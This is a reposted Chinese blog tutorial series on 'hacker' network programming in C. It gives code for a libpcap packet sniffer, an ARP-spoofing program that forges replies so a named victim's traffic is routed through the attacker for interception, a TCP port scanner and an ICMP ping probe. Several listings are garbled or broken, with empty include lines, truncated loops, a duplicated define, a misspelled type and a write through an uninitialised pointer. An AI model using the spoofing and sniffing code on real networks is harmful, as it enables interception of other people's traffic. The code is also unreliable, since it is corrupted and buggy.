flyonok

统计

留言簿(8)

ACE

book

boost

bsd

c study

c++

code download

codeblock

computer clound

Eclipse

embed system

erlang

ET++

gtk

ic card

java

KDE

libevent

linux

linux--MM

mysql

network education

one card

oracle

pcap relation

php

powerbuilder

python

QT

software config

software test

SQL server

UML

wireless

wxwidgets

陈宾

阅读排行榜

评论排行榜

hacker成长的代码之路

hacker成长的代码之路
hacker成长的代码之路:嗅探(
1
要求的专业知识:
    一:    精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传
        输层,应用层。精通每一层的协议,数据报格式。精通网络拓扑结构,
        第一层,第二层,第三层的网络互联,数据的转发和路由等。
    二:    精通C语言程序设计,UNIX
/LINUX程序设计,网络程序设计。熟悉
        UNIX
/LINUX系统操作,熟悉著名服务的基本配置,特性及使用的端口
        号。熟悉经典网络命令的使用,如:netstat,ping,traceroute,
        netcat,arp等。
    三:    精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。
        掌握数据库与WEB语言的结合使用。
  sniffer,我想大家都听说过,不过是截获数据报而已了。这样的事情多是发生在局域
网内。因此我们要完全明白内网的工作原怼
?br>  由于写这个文章的时候,用的多的是以太网,因此我们的实验也在以太网环境里完成。
  首先要知道是的局域网的互联方式,目前使用的有谝徊悖ㄎ锢聿悖┑幕チ饕褂
?br />转发器,常用的转发器就是集线器了,也就是我们常称的HUB,用HUB互联的网络是一个总
线结构的网络,在总线结构的网络里,数据是广播形式的传送的。也就是两台主机间的通
信信息,其它的主机也可以收到,不过网络设备检查到目标物理地址并非是自己,便丢掉
这个数据包。但必境是收到了。
  我们用程序把这些数据报全部复制一份保存下来,就是所谓的sniffer了。还要做的一
件事就是把网卡设为混杂模式(Linux里面可用命令#ifconfig ethx promisc),我们
将在程序里自己完成。
  物理层互联的局域网称为共享式局域网。
  但现在不少的局域网是在第二层(数据链路层)互联的,使用的网络设备多是网桥,最
出名的网桥叫交换机,想必你也听说过了。这样联成的局域网叫交换式局域网。在这样的
网内,数据不再是广播了。
  那我们如何才能sniffer呢?也就是如何让别人的数据还能发到我们的机器上的网络设
备上来呢?问题出来了,答案是ARP欺骗。留作后续。
  进入我们的主题,如何写程序把数据报从数据链路层copy过来。
  Unix里常用的方法是:BSD的BPF(分组过滤器),SVR的DLPI(数据链路提供者接口),
Linux的SOCK_PACKET接口。
  如果你没有听说过开放源代码,那么你可能没有必要再读下去了。我可不想去重复已经
完成的工作。
  libpcap,一个公开可得源码的截获函数库,它在三种接口上都可以使用。因此我们将
使用这个函数库来完成我们的程序。
  53行,打开一个网络设备用来嗅探。
  
59-64行,加入一条过滤规则,这里是只截UDP数据报。
  74行,返回一个数据报。
  我们用data_print函数分析打印出IP报头的源IP和目的IP,UDP报头中的源端口和目
标端口。
     
1  /* author  :    kf_701
     2   * mtime   :    2005
     3   * email   :    kf_701@21cn.com
     4   * address :    合肥大学生公寓
     5   * school  :    ahau.edu
     6   
*/
     
7
     
8  /* The program is used to capture data from data
     9   * link layer,It is simply,only output ip address
    10   * and port,read this code,then you will understand
    11   * how to use libpcap functions.
    12   *       ****Best wishes to you !****
    13   *
    14   * if you want to use it ,please compile like:
    15   *      $gcc -lpcap thisfile.c
    16   
*/
    
17  #include
    
18  #include
    
19  #include
    
20  #include
    
21  #include
    
22
    
23  #include
    
24  #include
    
25  #include /* required for ip.h */
    
26  #include
    
27  #include
    
28  #include
    
29  #include
   
&nbs;30  #include
    
31
    
32  #define MAXLINE         255
    
33
    
34  static void data_print(char *,int);
    
35
    
36  int main(int argc,char **argv)
    
37  {
    
38          char            *device;
    
39          pcap_t          *pd;
    
40          int             snlen=80,link_type;
    
41          uint32_t        netip,netmask;
    
42          char            errbuf[PCAP_ERRBUF_SIZE],cmd[MAXLINE];
    
43          int             data_len;       /* captured data length */
    
44          char            *data_ptr;      /* captured data ptr */
    
45          struct bpf_program      fcode;
    
46          struct pcap_pkthdr      pkthdr;
    
47          struct ether_header     *eptr;
    
48
    
49          /* open device and init struct pcap */
    
50          if((device=pcap_lookupdev(errbuf)) == NULL)
    
51                  printf("pcap_lookupdev: %s\n",errbuf),exit(1);
    
52
    
53          if((pd=pcap_open_live(device,snlen,1,500,errbuf)) == NULL)
    
54                  printf("pcap_open_live: %s\n",errbuf),exit(1);
    
55
    
56          if(pcap_lookupnet(device,&netip,&netmask,errbuf)<0)
    
57                  printf("pcap_lookupnet: %s\n",errbuf),exit(1);
    
58
    
59          strcpy(cmd,"udp");/* only capture UDP packet */
    
60          if(pcap_compile(pd,&fcode,cmd,0,netmask)<0)
    
61                  printf("pcap_compile: %s\n",pcap_geterr(pd)),exit(1);
    
62
    
63          if(pcap_setfilter(pd,&fcode)<0)
    
64                  pcap_perror(pd,"pcap_setfilter"),exit(1);
    
65
    
66          if((link_type=pcap_datalink(pd)) < 0)
    
67                  pcap_perror(pd,"pcap_datalink"),exit(1);
    
68
    
69          printf("-----------------------------------\n    70  kf_701 sniffer,listen on %s for udp packets\n",
    
71                  device);
    
72
    
73          while(1){       /* catpture data and print */
    
74                  data_ptr=(char *)pcap_next(pd,&pkthdr);
    
75                  if(data_ptr == NULL)
    
76                          continue;
    
77                  data_len = pkthdr.caplen;
    
78
    
79                  switch(link_type){
    
80                          case DLT_NULL:          /* loopback header = 4 bytes */
    
81                                  data_print(data_ptr+4,data_len-4);
    
82                                  break;
    
83                          case DLT_EN10MB:        /* ether header = 14 bytes */
    
84                                  eptr = (struct ether_header *)data_ptr;
    
85                                  if(ntohs(eptr->ether_type) != ETHERTYPE_IP)
    
86                                          break;
    
87                                  data_print(data_ptr+14,data_len-14);
    
88                                  break;
    
89                          case DLT_PPP:           /* ppp header = 24 bytes */
    
90                                  data_print(data_ptr+24,data_len-24);
    
91                                  break;
    
92                          default:
    
93                                  ;
    
94                  }
    
95          }/* end while */
    
96  }
    
97
    
98  static void
    
99  data_print(char *ptr,int len)
   
100  {
   
101          int ip_hlen;
   
102          struct ip *ip;
   
103          struct udphdr *udp;
   
104          char *src,*dst;
   
105
   
106          printf("Captured a packet!----------------------------\n");
   
107
   
108          /* deal with part of ip head */
   
109          if(len < sizeof(struct ip)+sizeof(struct udphdr)){
   
110                  printf("* error,data_len = %d\n",len);
   
111                  return;
   
112          }
   
113          ip = (struct ip *)ptr;
   
114          if(ip->ip_v != 4){
   
115                  printf("* error,not ipv4,dropped.\n");
   
116                  return;
   
117          }
   
118          ip_hlen = ip->ip_hl << 2;
   
119          if(ip_hlen < sizeof(struct ip)){
   
120                  printf("* error:ip_hl = %d\n",ip->ip_hl);
   
121                  return;
   
122          }
   
123          src = malloc(sizeof(char)*20);
   
124          dst = malloc(sizeof(char)*20);
   
125          strncpy(src,inet_ntoa((struct in_addr)ip->ip_src),20);
   
126          strncpy(dst,inet_ntoa((struct in_addr)ip->ip_dst),20);
   
127          printf("* ip_src = %s,ip_dst = %s\n",src,dst);
   
128
   
129          /* deal with udp part of udp head */
   
130          if(len   131                  printf("* error:data_len = %d,ip_hlen = %d\n",len,ip_hlen);
   
132                  return;
   
133          }
   
134          udp = (struct udphdr *)(ptr+ip_hlen);
   
135          printf("* source(port) = %d,dest(port) = %d,length(ip+udp+data) = %d\n",  
   
136                  ntohs(udp->source),ntohs(udp->dest),ntohs(udp->len)+ip_hlen);
   
137
   
138          return;
   
139  }
关于libpcap函数库的详细使用,请自行查阅文章或手册。
有问题请给我mail,谢谢。
作者:kf_701  写作时间:
2005/4  Email:kf_701@21cn.com
转载请保留原作者信息,谢谢。

 2 
发贴心情 
hacker成长的代码之路:嗅探(2) 
要求的专业知识:
        一:    精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传
                输层,应用层。精通每一层的协议,数据报格式。精通网络拓扑结构,
                第一层,第二层,第三层的网络互联,数据的转发和路由等。
        二:    精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉
                UNIX/LINUX系统操作,熟悉著名服务的基本配置,特性及使用的端口
                号。熟悉经典网络命令的使用,如:netstat,ping,traceroute,
                netcat,arp等。
        三:    精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。
                掌握数据库与WEB语言的结合使用。
    我写到此处,假设你是完全理解局域网的。不过还是引用一段LionD8的文字吧:现在我们就用实例来模拟一下局域网传输的全过程。现在有一台计算机A(IP:192.168.85.1   MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100  BB-BB-BB-BB-BB-BB  dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递*的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎 么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自 己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先 察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。
    计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。
    还记得前面说过的交换式局域网吗,为了可以在这样的局域网里进行sniffer,我们不
得不进行ARP欺骗。
    现在假设有这样一个局域网,不管是交换机或是路由做交换设备都可以。我们自己的机
器的IP是192.168.1.7,交换设备的内部IP是192.168.1.1,也就是网关的地址。还有一台
IP是192.168.1.100的机器,就是victim啦,我们想sniffer,就要让victim机器的所有
数据报经过我们的机器192.168.1.7来转发,那么我们就可以用前面写过的sniffer程序截
获信息了。
     我们给交换设备发一个ARP应答,只要把ARP数据报的发送端IP字段填成victim的IP
即可(这个字段原本应该是本机的IP:192.168.1.7)。
     本程序只能在Linux上面运行,使用了SOCK_PACKET,不过现在应该用:
        #include 
        #include 
        #include 
       packet_socket = socket(PF_PACKET, SOCK_RAW, protocol);
来代替比较好。
       24-43是完整的ARP数据报结构定义,这是我们自己定义的。不过根据RFC826的定义,
必须要如此定义。
     43行加了18个字节的0,这是为了把数据报长度填充到以太网数据要求的最小长度:46字节。
    如果你看不懂这个程序,那你应该先想办法达到我上面说明的专业要求的第一项。
     1  /* writed by kf701
     2   * 2005-4-12
     3   * hefei
     4   * kf_701@21cn.com
     5   */
     6  #include
     7  #include
     8  #include
     9  #include
    10  /* #include  */
    11
    12  #include
    13  #include
    14  #include
    15  #include
    16
    17  /* ETH_P_ARP=0x0806,defined in linux/if_ether.h */
    18  #define SWITCH_IP       "192.168.1.1"
    19  #define VICTIM_IP       "192.168.1.100"
    20  #define LOCAL_HW        "00:30:1B:36:69:ED"
    21  #define SWITCH_IP       "00:0A:EB:DB:FF:24"
    22  #define DEVICE          "eth0"
    23
    24  struct ether_header{
    25          unsigned char  ether_dhost[6];          /* destination eth addr */
    26          unsigned char  ether_shost[6];          /* source ether addr    */
    27          unsigned short ether_type;              /* packet type ID field */
    28  };
    29  struct arp_header{
    30          unsigned short int ar_hrd;              /* Format of hardware address.  */
    31          unsigned short int ar_pro;              /* Format of protocol address.  */
    32          unsigned char ar_hln;                   /* Length of hardware address.  */
    33          unsgned char ar_pln;                   /* Length of protocol address.  */
    34          unsigned short int ar_op;               /* ARP opcode (command).  */
    35          unsigned char __ar_sha[6];              /* Sender hardware address.  */
    36          unsigned char __ar_sip[4];              /* Sender IP address.  */
    37          unsigned char __ar_tha[6];              /* Target hardware address.  */
    38          unsigned char __ar_tip[4];              /* Target IP address.  */
    39  };
    40  struct arp_packet{
    41          struct ether_header ethhdr;
    42          struct arp_header arphdr;
    43          unsigned char padding[18];              /* filled with 0 */
    44  };
    45  /* arp reply:
    46   *      op = 2
    47   *      ethhdr.ether_dhost = arphdr.__ar_tha = switch hard addr
    48   *      ethhdr.ether_shost = arphdr.__ar_sha = local hard addr
    49   *      arphdr.__ar_tip = switch ip
    50   *      arphdr.__ar_sip = victim ip
    51   */
    52  #define FRAME_TYPE      0x0806                  /* arp=0x0806,rarp=0x8035 */
    53  #define HARD_TYPE       1                       /* ethernet is 1 */
    54  #define PROTO_TYPE      0x0800                  /* IP is 0x0800 */
    55  #define OP_CODE         2                       /* arp=1/2,rarp=3/4 */
    56
    57  void set_ip_addr(char *,char *);
    58  void set_hw_addr(char *,char *);
    59
    60  int main(int argc,char **argv)
    61  {
    62          int sockfd;
    63          struct arp_packet arp;
    64          struct sockaddr sa;
    65
    66          sockfd = socket(AF_INET,SOCK_PACKET,htons(0x0806));
    67          if(sockfd < 0)
    68                  perror("socket error"),exit(1);
    69
    70          /* init arp packet */
    71          arp.ethhdr.ether_type = htons(FRAME_TYPE);
    72          arp.arphdr.ar_hrd = htons(HARD_TYPE);
    73          arp.arphdr.ar_pro = htons(PROTO_TYPE);
    74          arp.arphdr.ar_op = OP_CODE;
    75          arp.arphdr.ar_hln = 6;
    76          arp.arphdr.ar_pln = 4;
    77          set_hw_addr(arp.ethhdr.ether_dhost,SWITCH_HW);
    78          set_hw_addr(arp.ethhdr.ether_shost,LOCAL_HW);
    79          set_hw_addr(arp.arphdr.__ar_tha,SWITCH_HW);
    80          set_hw_addr(arp.arphdr.__ar_sha,LOCAL_HW);
    81          set_ip_addr(arp.arphdr.__ar_tip,SWITCH_IP);
    82          set_ip_addr(arp.arphdr.__ar_sip,VICTIM_IP);
    83          bzero(arp.padding,18);
    84
    85          /* send arp reply packet */
    86          strcpy(sa.sa_data,DEVICE);
    87          if(sendto(sockfd,&arp,sizeof(arp),0,&sa,sizeof(sa))<0)
    88                  perror("sendto error"),exit(1);
    89          /* main return */
    90          exit(0);
    91  }
    92
    93  void set_hw_addr (char *buf, char *str)
    94  {
    95          int i;
    96          char c, val;
    97          for(i = 0; i < 6; i++){
    98                  if (!(c = tolower(*str++)))
    99          &nsp;               perror("Invalid hardware address"),exit(1);
   100                  if (isdigit(c))
   101                          val = c - '0';
   102                  else if (c >= 'a' && c <= 'f')
   103                          val = c-'a'+10;
   104                  else
   105                          perror("Invalid hardware address"),exit(1);
   106                  *buf = val << 4;
   107                  if (!(c = tolower(*str++)))
   108                          perror("Invalid hardware address"),exit(1);
   109                  if (isdigit(c))
   110                          val = c - '0';
   111                  else if (c >= 'a' && c <= 'f')
   112                          val = c-'a'+10;
   113                  else
   114                          perror("Invalid hardware address"),exit(1);
   115                  *buf++ |= val;
   116                  if (*str == ':')
   117                          str++;
   118          }
   119  }
   120
   121  void set_ip_addr(char *buf,char *str)
   122  {
   123          struct in_addr *addr;
   124          addr->s_addr = inet_addr(str);
   125          memcpy(buf,addr,6);
   126          return;
   127  }
主函数很短,主要的代码是前面的结构定义。如果你先前就知道ARP结构,那
程序就没有任何要解释的地方了。
作者:kf_701  写作时间:2005/4  Email:kf_701@21cn.com
转载请保留原作者信息,谢谢。


----------------------------------------------
轻轻的我走了,正如我轻轻的来;
我轻轻的招手,作别西天的云彩;
悄悄的我走了,正如我悄悄的来;
我挥一挥衣袖,不带走一片云彩。


 

 4 
 
发贴心情 
hacker成长的代码之路:扫描(1) 
要求的专业知识:
    一:    精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传输层,应用层。
              精通每一层的协议,数据报格式。精通网络拓扑结构,第一层,第二层,第三层的网
              络互联,数据的转发和路由等。
    二:    精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉UNIX/LINUX系
              统操作,熟悉著名服务的基本配置,特性及使用的端口号。熟悉经典网络命令的使用,
              如:netstat,ping,traceroute,netcat,arp等。
    三:    精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。掌握数据库与
              WEB语言的结合使用。
  扫描通常是查看目标主机是否开机,对外开放了哪些服务及端口,服务的版本号,使用的是什么操作系
统及版本号。
  更进一步的扫描通常是获得目标主机的系统漏洞,各种开放的服务漏洞,而这种漏洞扫描通常都是用程
序从一个已知的漏洞数据库里依次尝试。这里就跳过而不给出示例代码了。用于这类扫描的常用工具有:
whisker等,有兴趣的读者可以自行下载其源码阅
读。不过建议要有一点perl语言的基础。
  现在来讲通常的端口扫描。使用传输层协议(TCP and UDP)的应用,都会开一个端口号来listen,如
web通常开放80,ftp用21,telnet用23(现在几近不用了),ssh用22等。最简单的思想就是尝试去连
接目标主机的端口,如果可以建立连接,可推测某端口开放,如果是著名端口,则相应的服务是打开。
  我所要讲的是如何写程序去试图连接目标主机的目标端口。主要的方式有TCP和UDP。
  1:例如我们给目标主机上的某个端口发送一个UDP数据报,如果目标端口没有开放,则目标主机会回应
    一个端口不可达ICMP报文,当我们的程序收到了这个ICMP报文,则可认为此端口没有开放。这样依次
    连接每个端口,则可判断目标主机开放了哪些端口了。
  2:单纯的TCP方式扫描大概是最简单的了。建一个socket,然后调用connect去连接目标主机上的端口,
    成功返回,则可判断端口开放。
下面是一个TCP方式扫描的示例程序代码,代码在linux下测试成功。编译命令:cc -pthread scan.c。

*
* 本程序是一个简单的端口扫描程序,使用TCP SOCKET
* 依次试连接目标主机的端口,以此判断端口开放与否。
* 程序设计上使用了线程池,共100个线程。每个线程
* 用mutex方式来得到一个端口号用来测试,并将端口
* 号变量port_num加 1,当port_num增至 MAX_PORT,线程
* 将thread_num减 1并结束自身,当99个线程都结束后,
* thread_num变为 0,最后一个线调用exit结束程序。
*       ******scan.c******
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define MAX_PORT        1023
#define MAX_THREAD      100
/* basename(argv[0]). netBSD,linux and gnu libc all define it. */
extern char *__progname;
/* globals */
int port_num,thread_num=100;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int main(int argc,char **argv)
{
        void *thread_main(void *);
        pthread_t tid;
#ifndef HAVE__PROGNAME
__progname = argv[0];
#endif
        printf("----kf_701 scan tool---------\n");
        if(argc != 2){
                fprintf(stderr,"*  Usage: %s host\n",__progname);
                exit(0);
        }
        /* create threads */
        int i;
        for(i=0;i                pthread_create(&tid,NULL,&thread_main,argv[1]);
        /* main pause */
        for( ; ; )
                pause();
}
void *thread_main(void *arg)
{
        struct sockaddr_in sa;
        struct hostent *host;
        int i,sockfd;
        pthread_detach(pthread_self());
        /* init sockaddr_in struct */
        bzero(&sa,sizeof(struct sockaddr));
        sa.sin_family = AF_INET;
        if(inet_aton((char *)arg,&sa.sin_addr) == 0){
                host = gethostbyname((char *)arg);
                if(host == NULL){
                        fprintf(stderr,"Hostname Error: %s \n",hstrerror(h_errno));
                        exit(1);
                }
                sa.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
        }
  while(1){
        /* get a port number */
        if(pthread_mutex_lock(&mutex) != 0) exit(1);
        if(++port_num > MAX_PORT){
                if(pthread_mutex_unlock(&mutex) != 0) exit(1);
                if(--thread_num == 0){
                        printf("-----------------------------\n");
                        exit(0);
                }
                pthread_exit(NULL);
        }
        i=port_num;
        if(pthread_mutex_unlock(&mutex) != 0) exit(1);
        /* try to connect */
        sa.sin_port=htons(i);
        sockfd = socket(AF_INET,SOCK_STREAM,0);
        if(sockfd < 0)
                perror("Create socket error"),exit(1);
        if(connect(sockfd,(struct sockaddr *)&sa,sizeof(sa)) == 0)
                printf("* port %d is open \n",i);
        if(close(sockfd) < 0)
                perror("shutdown error"),exit(1);
  }/*end while*/
}
如果你深入学习过TCP/IP协议的话,就会知道建立TCP连接的三次握手(SYN-->SYN/ACK-->ACK),
下面的文章,我们将学习半开式的扫描。如发送一个SYN位设置为1的数据报,当收到目标主机的ACK
回应,则可判断某端口是开放的。然后我们立即给目标主机发送一个RST位置1的数据报,关上正在建
立连接的三次握手。这是一种比较隐匿的扫描方式,因为很多主机不会记录没有完成三次握手的事件。
作者:kf_701  写作时间:2005/4  Email:kf_701@21cn.com
转载请保留原作者信息,谢谢。


----------------------------------------------
轻轻的我走了,正如我轻轻的来;
我轻轻的招手,作别西天的云彩;
悄悄的我走了,正如我悄悄的来;
我挥一挥衣袖,不带走一片云彩。

 5 
 
发贴心情 
hacker成长的代码之路:扫描(2)
             
要求的专业知识:
    一:    精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传输层,应用层。
        精通每一层的协议,数据报格式。精通网络拓扑结构,第一层,第二层,第三层的网
        络互联,数据的转发和路由等。
    二:    精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉UNIX/LINUX系
        统操作,熟悉著名服务的基本配置,特性及使用的端口号。熟悉经典网络命令的使用,
        如:netstat,ping,traceroute,netcat,arp等。
    三:    精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。掌握数据库与
        WEB语言的结合使用。
  有的时候可能要确定一个局域网内有多少台机器是开机的,那么就要依次扫描这个网段内的所有IP。通
常的端口扫描或漏洞扫描的前提是目标主机是开机的,否则所有的扫描都是白费时间。最简单的办法是先
ping一下目标主机。大部分的扫描软件都会在扫描开始前进行和ping类似的测试。
  我们要成为真正的黑客,所以我们不会满足于使用别人的程序,我们要理解这里面全部的网络原理,我
们要写自己的程序。
  其实这样的程序并不难,我们只要向目标主机发送一个ICMP ECHO请求报文,如果目标主机回应了一
个ICMP ECHOREPLY报文,则目标主机一定是开机的。那么我们就可以进行后面的扫描工作了。
  ICMP是第三层(网络层)的协议,虽然它和IP协议都在网络层,但ICMP数据报依然使用IP报头封装
其报文内容。ICMP ECHO的类型值是8(ICMP_ECHO),代码值是0。我们用程序来完成一个简单的ping。
读到这里,我假想你是完全知道ICMP报文的格式的,如果你不知道,那么请你离开,去打点基础再来阅
读,否则纯属浪费时间。
  先建一个原始socket,再自已构造一个ICMP报文,通过这个原始socket把ICMP报文发送出去,然后
用这个原始socket接收目标主机的回应ICMP,收到回应,那么进行后面的扫描吧。要说明的是系统内核
会把收到的所有ICMP消息给每个ICMP原始socket复制一份,也就是说我们程序里创建的ICMP RAW
socket会收到所有的ICMP消息,但我们只想等待我们程序里指定的目标主机的ICMP ECHOREPLY消息,
较好的办法是使用ICMP ECHO报头的标识字段,在构造ICMP请求报文的时候,把标识字段(icmp_id)设
为进程号(process id)。然后检查收到的每个ICMP消息的标识字段,和process id相同的则是我们
等待的报文。
  raw socket只有superuser可以创建,务必在superuser权限下运行。下面是一段简单的代码,不
过也是完整呈现了ping程序。
  send_icmp()构造ICMP报头并使用raw socket发送。main循环接收ICMP消息,交给proc_icmp
判断处理。代码是linux系统上测试通过。
  本程序只对一个IP地址进行,如果要对一段IP进行测试,简单修改程序即可。可将发送放在单独的进程
里(使用fork()),send_icmp里做成循环,每次重新初始化struct sockaddr_in。那么对接收到的数据
进行分析的proc_icmp()将多一道对IP报头ip->src字段的判断。具体的修改,留给读者自己完成。

     1  /* author  :    kf_701
     2   * mtime   :    2005
     3   * email   :    kf_701@21cn.com
     4   */
     5  #include
     6  #include
     7  #include
     8  #include
     9  #include
    10  #include
    11  #include
    12  #include
    13  #include
    14  #include
    15  #include
    16  #include
    17  #include
    18
    19  #define BUFSIZE         1024
    20
    21          /* global vars */
    22  char recvbuf[BUFSIZE];
    23  char sendbuf[BUFSIZE];
    24  int datalen = 56;       /* bytes of data,following ICMP header*/
    25  pid_t pid;              /* the pid use as icmp_id*/
    26  int seqno;              /* icmp_seq number*/
    27  int sockfd = -1;
    28  struct sockaddr_in destaddr;
    29  socklen_t len = sizeof(struct sockaddr);
    30
    31          /* function prototypes */
    32  static void send_icmp(void);
    33  static void proc_icmp(char *,ssize_t);
    34  static unsigned short check_sum(unsigned short *,int);
    35
    36  int
    37  main(int argc,char **argv)
    38  {
    39          struct hostent *host;
    40
    41          if(argc != 2)
    42                  puts("-----usage:ping host------"),exit(1);
    43
    44          bzero(&destaddr,sizeof(destaddr));
    45          destaddr.sin_family = AF_INET;
    46          if(inet_aton(argv[1],&destaddr.sin_addr) == 0){
 &nsp;  47                  host = gethostbyname(argv[1]);
    48                  if(host == NULL){
    49                          fprintf(stderr,"Hostname Error: %s \n",hstrerror(h_errno));
    50                          exit(1);
    51                  }
    52                  destaddr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
    53          }
    54
    55          sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
    56          if(sockfd == -1)
    57                  perror("socket error"),exit(1);
    58          setuid(getuid());       /* not need super permission any more*/
    59
    60          pid = getpid();
    61          send_icmp();            /* send first packet*/
    62
    63          while(1){
    64                  int n = -1;
    65                  n = recvfrom(sockfd,recvbuf,sizeof(recvbuf),0,(struct sockaddr *)NULL,NULL);
    66                  if(n < 0){
    67                          if(errno == EINTR)
    68                                  continue;
    69                          else
    70                                  perror("recvfrom error"),exit(1);
    71                  }
    72                  proc_icmp(recvbuf,n);
    73          }
    74  }
    75
    76  static void
    77  send_icmp(void)
    78  {
    79          int len;
    80          struct icmp *icmp;
    81
    82          icmp = (struct icmp *)sendbuf;
    83          icmp->icmp_type = ICMP_ECHO;
    84          icmp->icmp_code = 0;
    85          icmp->icmp_id = pid;
    86          icmp->icmp_seq = seqno;
    87          if(gettimeofday((struct timeval *)icmp->icmp_data,NULL) == -1)
    88                  puts("set icmp_data error"),exit(1);
    89          len = 8 + datalen;
    90          icmp->icmp_cksum = 0;
    91          icmp->icmp_cksum = check_sum((u_short *)icmp,len);
    92          if(sendto(sockfd,sendbuf,len,0,(struct sockaddr *)&destaddr,len) == -1)
    93                  perror("sendto error"),exit(1);
    94  }
    95
    96  static void
    97  proc_icmp(char *ptr,ssize_t len)
    98  {
    99          int iphdlen,icmplen;
   100          struct ip *ip;
   101          struct icmp *icmp;
   102
   103          ip = (struct ip *)ptr;                  /* start of IP header   */
   104          iphdlen = ip->ip_hl<<2;                 /* length of IP header  */
   105          icmp = (struct icmp *)(ptr+iphdlen);    /* start of ICMP header */
   106          if( (icmplen = len - iphdlen) < 8){     /* test icmp header len */
   107                  puts("icmplen error");
   108                  return;
   109          }
   110          if((icmp->icmp_type== ICMP_ECHOREPLY)&&(icmp->icmp_id == pid))
   111                  printf("remote host is up\n");
   112          return;
   113  }
   114
   115  static unsigned short
   116  check_sum(unsigned short *addr,int len)
   117  {
   118          register int nleft = len;
   119          register int sum = 0;
   120          register short *w = addr;
   121          short answer = 0;
   122
   123          while(nleft>1)
   124          {
   125                  sum += *w++;
   126                  nleft -= 2;
   127          }
   128          if(nleft ==1)
   129          {
   130                  *(unsigned char *)(&answer) = *(unsigned char *)w;
   131
   132                  sum += answer;
   133          }
   134          sum = (sum>>16)+(sum&0xffff);
   135          sum += (sum>>16);
   136          answer = ~sum;
   137          return(answer);
   138  }
作者:kf_701  写作时间:2005/4  Email:kf_701@21cn.com
转载请保留原作者信息,谢谢。

posted on 2011-04-08 17:30 flyonok 阅读(603) 评论(0)  编辑 收藏 引用 所属分类: network security


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理